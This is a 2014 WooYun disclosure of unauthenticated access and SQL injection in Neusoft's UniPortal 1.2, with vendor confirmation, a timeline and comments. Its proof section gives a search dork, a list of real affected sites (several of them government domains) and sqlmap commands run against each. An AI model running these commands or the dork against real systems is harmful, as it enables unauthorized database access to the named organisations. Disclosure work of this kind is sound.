当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-087293

漏洞标题:东软某通用门户软件系统存在通用型未授权访问到SQL注入漏洞

相关厂商:东软集团

漏洞作者: snoopy

提交时间:2014-12-15 22:15

修复时间:2015-03-15 22:16

公开时间:2015-03-15 22:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-15: 细节已通知厂商并且等待厂商处理中
2014-12-19: 厂商已经确认,细节仅向厂商公开
2014-12-22: 细节向第三方安全合作伙伴开放
2015-02-12: 细节向核心白帽子及相关领域专家公开
2015-02-22: 细节向普通白帽子公开
2015-03-04: 细节向实习白帽子公开
2015-03-15: 细节向公众公开

简要描述:

详细说明:

东软通用门户软件 UniPortal 1.2 SQL注入漏洞
搜索引擎搜索: inurl:ecdomain
经测试发现,该系统存在未授权访问,且存在sql注入漏洞
未授权访问页面:ecdomain/portal/survey/admin/SurveyStatis.jsp
sql注入漏洞页面:/ecdomain/portal/survey/admin/SurveyStatisShow.jsp
SQL注入漏洞参数:sid

漏洞证明:

#1 未授权访问页面(直接给出链接)
http://www.hbsgjj.cn/ecdomain/portal/survey/admin/SurveyStatis.jsp
http://www.lnsxnh.com/ecdomain/portal/survey/admin/SurveyStatis.jsp
http://www.cyfcxx.com/ecdomain/portal/survey/admin/SurveyStatis.jsp
http://www.xysfq.com/ecdomain/portal/survey/admin/SurveyStatis.jsp
http://www.bjws.gov.cn/ecdomain/portal/survey/admin/SurveyStatis.jsp
http://services.ndrc.gov.cn:8080/ecdomain/portal/survey/admin/SurveyStatis.jsp
http://www.dggjj.cn/ecdomain/portal/survey/admin/SurveyStatis.jsp
http://www.tyzwzx.gov.cn/ecdomain/portal/survey/admin/SurveyStatis.jsp
……
#2 SQL注入漏洞证明
(1)http://www.tyzwzx.gov.cn/ecdomain/portal/survey/SurveyShow.jsp?sid=330fb2be13922e2630655c1

C:\Users\Administrator>sqlmap.py -u "http://www.tyzwzx.gov.cn/ecdomain/portal/survey/admin/SurveyStatisShow.jsp?sid=699d61cd1338ca7da2c7934" --dbms=oracle --current-user


3.png


(2)http://www.bjws.gov.cn//ecdomain/portal/survey/admin/SurveyStatisShow.jsp?sid=699d61cd1338ca7da2c7934

C:\Users\Administrator>sqlmap.py -u "http://www.bjws.gov.cn//ecdomain/portal/survey/admin/SurveyStatisShow.jsp?sid=699d61cd1338ca7da2c7934" --dbms=oracle --current-db


4.png


(3)http://www.hbsgjj.cn/ecdomain/portal/survey/SurveyShow.jsp?sid=18caa6d7141696e35d3538e

C:\Users\Administrator>sqlmap.py -u "http://www.hbsgjj.cn/ecdomain/portal/survey/SurveyShow.jsp?sid=18caa6d7141696e35d3538e" --dbms=oracle --current-user


5.png


(4)http://www.lnsxnh.com/ecdomain/portal/survey/SurveyShow.jsp?sid=2e3635db1339f91518c7161

C:\Users\Administrator>sqlmap.py -u "http://www.lnsxnh.com/ecdomain/portal/survey/SurveyShow.jsp?sid=2e3635db1339f91518c7161" --dbms=oracle --current-user


6.png


(5)http://www.xysfq.com/ecdomain/portal/survey/SurveyShow.jsp?sid=340d9efa133a4bc10497f27

C:\Users\Administrator>sqlmap.py -u "http://www.xysfq.com/ecdomain/portal/survey/SurveyShow.jsp?sid=340d9efa133a4bc10497f27" --dbms=oracle --current-user


7.png


(6)http://www.dggjj.cn/ecdomain/portal/survey/SurveyShow.jsp?sid=2e3635db1339f91518c7161

C:\Users\Administrator>sqlmap.py -u "http://www.dggjj.cn/ecdomain/portal/survey/SurveyShow.jsp?sid=2e3635db1339f91518c7161" --dbms=oracle --current-user


8.jpg


........

修复方案:

版权声明:转载请注明来源 snoopy@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-12-19 13:31

厂商回复:

感谢白帽子提供的信息,我司已联系相关部门进行紧急修复。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-12-15 22:22 | snoopy ( 实习白帽子 | Rank:78 漏洞数:16 | ....................)

    @finger @xsser 头一回发通用型的,手一抖忘记选择通用型了,帮忙处理一下呗。

  2. 2014-12-15 22:25 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产;如遇接单收徒、绝非本人所...)

    我是打酱油的 @Finger @xsser

  3. 2014-12-16 00:27 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    大牛威武。。。为神马看这说话的语气,像极了某某人呢,@coody 你不觉得眼熟么?

  4. 2014-12-16 10:34 | Finger 认证白帽子 ( 普通白帽子 | Rank:777 漏洞数:95 | 最近有人冒充该账号行骗,任何自称Finger并...)

    @snoopy 已改

  5. 2014-12-16 11:00 | snoopy ( 实习白帽子 | Rank:78 漏洞数:16 | ....................)

    @Finger 谢谢了!

  6. 2015-03-15 22:21 | 大漠長河 ( 实习白帽子 | Rank:43 漏洞数:7 | ̷̸̨̀͒̏̃ͦ̈́̾( 天龙源景区欢迎您...)

    东软...不错的例子